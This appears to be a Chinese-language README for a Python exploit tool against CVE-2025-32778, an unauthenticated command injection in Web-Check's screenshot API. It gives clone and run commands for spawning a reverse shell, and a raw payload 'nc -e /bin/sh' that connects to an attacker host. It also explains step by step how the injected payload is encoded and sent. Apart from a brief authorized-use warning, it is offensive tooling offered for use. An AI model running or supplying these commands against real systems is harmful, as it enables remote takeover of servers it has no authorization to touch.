CVE-2025-32778 - Web-Check命令注入利用工具

描述

CVE-2025-32778 是 Lissy93 开发的 Web-Check OSINT 工具中的一个严重命令注入漏洞。
它允许未经身份验证的攻击者通过截图 API 中的 url 参数执行任意系统命令。

此 Python 脚本自动化利用过程，并能够生成反向 Shell 或接受自定义 Shell 载荷。

警告

• 仅对您拥有或有权测试的系统进行测试。
• 未经授权的使用是非法的且不道德。

功能特点

• 利用 Web-Check 中的 url 命令注入漏洞。
• 支持：
  • 通过 --lhost 和 --lport 生成反向 Shell。
  • 通过 --shell 使用自定义 Shell。
• URL 规范化。
• 防止将 --shell 与 --lhost/--lport 组合使用。

要求

• Python 3.x
• Requests 库：

pip install requests

使用方法

git clone https://github.com/00xCanelo/CVE-2025-32778
cd CVE-2025-32778

让工具创建反向 Shell

python3 cve-2025-32778.py -u http://target.com:3001/api/screenshot/ --lhost 10.10.10.1 --lport 4444

自定义 Shell 载荷（原始）

python3 cve-2025-32778.py -u http://target.com:3001/api/screenshot/ --shell "nc -e /bin/sh 10.10.10.1 4444"

帮助菜单

python3 cve-2025-32778.py -h

工作原理

1. 将目标 URL 标准化为 scheme://host[:port] 格式。

2. 准备载荷：

   • 使用 --lhost 和 --lport 生成反向 Shell。
   • 或使用 --shell 传入原始 Shell 命令。

3. 对 Shell 载荷进行编码，以便安全地注入 URL。

4. 向 /api/screenshot/ 发送带有载荷的 HTTP GET 请求。

5. 等待反向 Shell 连接。

🧑‍💻 作者

00xCanelo
GitHub 主页

参考

• Web-Check GitHub 仓库 – 包含漏洞代码的原始项目。
• CVE-2025-32778 – 描述命令注入漏洞的 CVE 条目。